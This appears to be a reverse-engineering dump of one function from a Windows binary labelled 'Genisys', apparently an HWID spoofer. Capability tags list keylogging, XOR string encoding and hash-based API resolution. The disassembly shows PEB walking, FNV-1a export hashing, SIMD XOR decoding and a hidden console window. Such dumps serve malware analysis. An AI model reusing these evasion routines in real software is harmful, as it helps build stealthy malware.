Function at 0x140010950
Capabilities:
Access peb ldr_data
Check os version
Delete file
Encode data using xor
Hash data using fnv
Log keystrokes via polling
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
movaps xmmword [rax - 0x18], xmm6
xor edi, edi
mov eax, dword [str.PXF6]
mov dword [rbp + 0x67], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140010a04
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140010a04
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400109ff
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x1400109e0
cmp edx, 0x491e0a9c
je 0x140010a09
test r9d, r9d
jne 0x1400109c0
mov rax, qword [rax]
jmp 0x140010990
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov r11d, dword [rdx + rcx*4]
add r11, r10
mov esi, dword [reloc.WS2_32.dll_accept]
cmp esi, 2
jl 0x140010aaa
movdqa xmm3, xmmword [0x140090aa0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140090b20]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140090b20]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x140090ac0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090ae0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.33333333333333339999999999999999]
movd xmm0, dword [rbp + 0x67]
xorps xmm2, xmm0
movd dword [rbp + 0x67], xmm2
jmp 0x140010af0
lea r9, [rbp + 0x67]
mov r8d, edi
nop dword [rax]
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140010ac0
lea rcx, [rbp + 0x67]
call r11
mov r9d, 0x40
lea r8, str.Genisys
lea rdx, str.Press_OK_to_begin_spoofing.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, [0x14009c100]
cmp byte [reloc.WS2_32.dll_accept], dil
je 0x140010b56
mov rcx, rdi
nop word [rax + rax]
lea eax, [rcx + 0x4c]
xor byte [rcx + rdx], al
inc rcx
cmp rcx, 0x1e
jb 0x140010b40
mov byte [reloc.WS2_32.dll_accept], dil
xorps xmm0, xmm0
movups xmmword [rbp + 0x27], xmm0
mov qword [rbp + 0x37], rdi
mov qword [rbp + 0x3f], rdi
mov r8d, reloc.WLDAP32.dll_Ordinal_30
lea rcx, [rbp + 0x27]
call fcn.140005290
nop
mov r8d, 0x70e70
lea rdx, [0x14009c120]
lea rcx, [rbp + 0x27]
call fcn.14001a940
nop
mov rdx, qword [rbp + 0x3f]
cmp rdx, 0xf
jbe 0x140010bca
inc rdx
mov rcx, qword [rbp + 0x27]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010bc5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140010bc5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007d77c
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, [0x14014d490]
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x140010c06
mov rcx, rdi
nop dword [rax + rax]
lea eax, [rcx + 0x4c]
xor byte [rcx + rdx], al
inc rcx
cmp rcx, 0x22
jb 0x140010bf0
mov byte [reloc.WS2_32.dll_accept], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x27], xmm0
mov qword [rbp + 0x37], rdi
mov qword [rbp + 0x3f], rdi
mov r8d, Ordinal_35
lea rcx, [rbp + 0x27]
call fcn.140005290
nop
mov r8d, 0x7450
lea rdx, [0x140146040]
lea rcx, [rbp + 0x27]
call fcn.14001a940
nop
mov rdx, qword [rbp + 0x3f]
cmp rdx, 0xf
jbe 0x140010c7a
inc rdx
mov rcx, qword [rbp + 0x27]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010c75
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140010c75
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14007d77c
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x1400902c0]
movups xmmword [rbp - 0x29], xmm0
movups xmm1, xmmword [0x1400902d0]
movups xmmword [rbp - 0x19], xmm1
movsd xmm0, qword [0x1400902e0]
movsd qword [rbp - 9], xmm0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140010d34
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140010d34
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140010d2f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140010d10
cmp edx, 0x491e0a9c
je 0x140010d39
test r9d, r9d
jne 0x140010cf0
mov rax, qword [rax]
jmp 0x140010cc0
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov r11d, dword [rdx + rcx*4]
add r11, r10
cmp esi, 2
jl 0x140010e8f
movdqa xmm5, xmmword [0x140090aa0]
mov edx, edi
movdqa xmm4, xmmword [0x140090b20]
movdqa xmm6, xmmword [0x140090ac0]
movdqa xmm0, xmmword [str.33333333333333339999999999999999]
movdqa xmmword [rbp + 0x27], xmm0
lea rcx, [rbp - 0x29]
mov r8d, dword [rbp + 0x27]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090ae0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090ae0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x28
jl 0x140010d90
jmp 0x140010ed0
lea r9, [rbp - 0x29]
mov r8d, edi
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x28
jl 0x140010ea0
lea rcx, [rbp - 0x29]
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140010f64
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140010f64
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140010f5f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140010f40
cmp edx, 0x2fa62ca8
je 0x140010f69
test r9d, r9d
jne 0x140010f20
mov rax, qword [rax]
jmp 0x140010ef0
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov ecx, 0x2ee
call rax
movups xmm0, xmmword [0x14008fe38]
movups xmmword [rbp - 0x29], xmm0
movups xmm1, xmmword [0x14008fe48]
movups xmmword [rbp - 0x19], xmm1
movups xmm0, xmmword [0x14008fe58]
movups xmmword [rbp - 9], xmm0
movsd xmm0, qword [0x14008fe68]
movsd qword [rbp + 7], xmm0
mov eax, dword [0x14008fe70]
mov dword [rbp + 0xf], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140011044
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140011044
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14001103f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140011020
cmp edx, 0x491e0a9c
je 0x140011049
test r9d, r9d
jne 0x140011000
mov rax, qword [rax]
jmp 0x140010fd0
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov r11d, dword [rdx + rcx*4]
add r11, r10
mov r8d, edi
cmp esi, 2
jl 0x1400111a5
movdqa xmm5, xmmword [0x140090aa0]
movdqa xmm4, xmmword [0x140090b20]
movdqa xmm6, xmmword [0x140090ac0]
movdqa xmm0, xmmword [str.33333333333333339999999999999999]
movdqa xmmword [rbp + 0x27], xmm0
lea rcx, [rbp - 0x29]
mov edx, dword [rbp + 0x27]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090ae0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090ae0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x1400110a0
cmp r8d, 0x3c
jge 0x1400111e0
movsxd rax, r8d
lea r9, [rbp - 0x29]
add r9, rax
nop
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3c
jl 0x1400111b0
lea rcx, [rbp - 0x29]
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140011274
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140011274
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14001126f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140011250
cmp edx, 0x2fa62ca8
je 0x140011279
test r9d, r9d
jne 0x140011230
mov rax, qword [rax]
jmp 0x140011200
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov ecx, 0x2ee
call rax
movups xmm0, xmmword [0x140090660]
movups xmmword [rbp - 0x29], xmm0
movups xmm1, xmmword [0x140090670]
movups xmmword [rbp - 0x19], xmm1
movups xmm0, xmmword [0x140090680]
movups xmmword [rbp - 9], xmm0
movsd xmm0, qword [0x140090690]
movsd qword [rbp + 7], xmm0
mov eax, dword [0x140090698]
mov dword [rbp + 0xf], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140011354
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140011354
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14001134f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140011330
cmp edx, 0x491e0a9c
je 0x140011359
test r9d, r9d
jne 0x140011310
mov rax, qword [rax]
jmp 0x1400112e0
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov r11d, dword [rdx + rcx*4]
add r11, r10
mov r8d, edi
cmp esi, 2
jl 0x1400114b5
movdqa xmm5, xmmword [0x140090aa0]
movdqa xmm4, xmmword [0x140090b20]
movdqa xmm6, xmmword [0x140090ac0]
movdqa xmm0, xmmword [str.33333333333333339999999999999999]
movdqa xmmword [rbp + 0x27], xmm0
lea rcx, [rbp - 0x29]
mov edx, dword [rbp + 0x27]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090ae0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090ae0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x1400113b0
cmp r8d, 0x3c
jge 0x1400114f0
movsxd rax, r8d
lea r9, [rbp - 0x29]
add r9, rax
nop
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3c
jl 0x1400114c0
lea rcx, [rbp - 0x29]
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140011584
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140011584
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14001157f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140011560
cmp edx, 0x2fa62ca8
je 0x140011589
test r9d, r9d
jne 0x140011540
mov rax, qword [rax]
jmp 0x140011510
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov ecx, 0x2ee
call rax
movups xmm0, xmmword [0x140090910]
movups xmmword [rbp - 0x29], xmm0
movups xmm1, xmmword [0x140090920]
movups xmmword [rbp - 0x19], xmm1
movsd xmm0, qword [0x140090930]
movsd qword [rbp - 9], xmm0
mov eax, dword [0x140090938]
mov dword [rbp - 1], eax
movzx eax, word [0x14009093c]
mov word [rbp + 3], ax
movzx eax, byte [0x14009093e]
mov byte [rbp + 5], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140011674
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140011674
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14001166f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140011650
cmp edx, 0x491e0a9c
je 0x140011679
test r9d, r9d
jne 0x140011630
mov rax, qword [rax]
jmp 0x140011600
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov r11d, dword [rdx + rcx*4]
add r11, r10
mov r8d, edi
cmp esi, 2
jl 0x1400117d5
movdqa xmm5, xmmword [0x140090aa0]
movdqa xmm4, xmmword [0x140090b20]
movdqa xmm6, xmmword [0x140090ac0]
movdqa xmm0, xmmword [str.33333333333333339999999999999999]
movdqa xmmword [rbp + 0x27], xmm0
lea rcx, [rbp - 0x29]
mov edx, dword [rbp + 0x27]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090ae0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090ae0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400116d0
cmp r8d, 0x2f
jge 0x140011810
movsxd rax, r8d
lea r9, [rbp - 0x29]
add r9, rax
nop
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2f
jl 0x1400117e0
lea rcx, [rbp - 0x29]
call r11
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1400118a4
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1400118a4
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14001189f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140011880
cmp edx, 0x2fa62ca8
je 0x1400118a9
test r9d, r9d
jne 0x140011860
mov rax, qword [rax]
jmp 0x140011830
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov eax, dword [rdx + rcx*4]
add rax, r10
mov ecx, 0x2ee
call rax
movups xmm0, xmmword [0x140090340]
movups xmmword [rbp - 0x29], xmm0
movups xmm1, xmmword [0x140090350]
movups xmmword [rbp - 0x19], xmm1
movups xmm0, xmmword [0x140090360]
movups xmmword [rbp - 9], xmm0
movsd xmm0, qword [0x140090370]
movsd qword [rbp + 7], xmm0
mov eax, dword [0x140090378]
mov dword [rbp + 0xf], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140011984
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140011984
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
add r8, r10
mov edx, 0x811c9dc5
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x14001197f
nop
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8]
lea r8, [r8 + 1]
test cl, cl
jne 0x140011960
cmp edx, 0x491e0a9c
je 0x140011989
test r9d, r9d
jne 0x140011940
mov rax, qword [rax]
jmp 0x140011910
mov edx, dword [rbx + 0x1c]
add rdx, r10
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx ecx, word [rcx + r9*2]
mov r11d, dword [rdx + rcx*4]
add r11, r10
mov r8d, edi
cmp esi, 2
jl 0x140011ae5
movdqa xmm5, xmmword [0x140090aa0]
movdqa xmm4, xmmword [0x140090b20]
movdqa xmm6, xmmword [0x140090ac0]
movdqa xmm0, xmmword [str.33333333333333339999999999999999]
movdqa xmmword [rbp + 0x27], xmm0
lea rcx, [rbp - 0x29]
mov edx, dword [rbp + 0x27]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090ae0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090ae0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
